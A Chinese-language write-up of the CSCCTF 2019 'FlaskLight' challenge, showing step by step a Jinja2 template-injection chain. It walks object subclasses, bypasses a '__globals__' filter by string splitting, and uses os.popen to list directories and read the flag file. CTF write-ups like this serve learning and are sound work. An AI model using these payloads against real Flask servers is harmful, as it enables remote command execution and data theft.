[CSCCTF 2019 Qual]FlaskLight


    1. 進入題目可也看到有一個FlaskLight的提示,以及頁面上顯示你查詢的和查詢的結果字樣。先查看源碼發現提示內容:有一個get請求方式的參數search    

    2. 傳遞參數search並進行模板注入的測試,輸入?search={{5*8}},頁面輸出表達式的結果,很好可以進行模板注入,回顯點在You searched for下面
   


    3. 尋找執行命可以借助的類
        a. 獲取變量[]所屬的類名 {{[].__class__}}
        頁面回顯 <type 'list'>
        b. 獲取list所繼承的基類名 {{[].__class__.__base__}}
        頁面回顯 <type 'object'>
        c. 獲取所有繼承自object的類 {{[].__class__.__base__.__subclasses__()}}
        這里回顯了很長一個列表,這里可以將這些數據放在列表中,通過list.index輸出想要的類在第幾位。不過需要對這傳數據進行簡單的處理(將<>換成"")    

         

        d. 經過查詢后,可以借助的類<class 'warnings.catch_warnings'>,沒有內置os模塊在第59位。<class 'site._Printer'> 內含os模塊 在第71位,可以借助這些類來執行命令。

 


    不含os模塊的類warnings.catch_warnings

  進行命令執行
        a. 目錄讀取
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
        PS:由於使用['__globals__']會造成500的服務器錯誤信息,並且當我直接輸入search=globals時頁面也會500,覺得這里應該是被過濾了,所以這里采用了字符串拼接的形式['__glo'+'bals__']
        頁面回顯:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
        b. 讀取目錄flasklight
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
        頁面回顯:app.py coomme_geeeett_youur_flek
        c. cat文件 coomme_geeeett_youur_flek 得到flag
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

         

        d. 之后又cat了一下同目錄下的app.py文件,發現確實gloabls在和名單下
          

 

 


    內含os模塊的類 class'site._Printer'
       a. 目錄查詢
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
        因為這里listdir同樣被ban了
      b.  讀取目錄flasklight
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
       c. 讀取flag
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

 

a. 獲取變量[]所屬的類名 {{[].__class__}} b. 獲取list所繼承的基類名 {{[].__class__.__base__}} c. 獲取所有繼承自object的類 {{[].__class__.__base__.__subclasses__()}} 沒有內置的os模塊的類 目錄查詢 {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 讀取目錄flask {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}} 讀取flag {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}} 

內含os模塊的類(不需要import os)
class'site._Printer' 內含os模塊 在第71位 目錄查詢 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 本來想直接用listdir('/'),但這里listdir同樣被ban了 讀取目錄flasklight {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} 讀取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM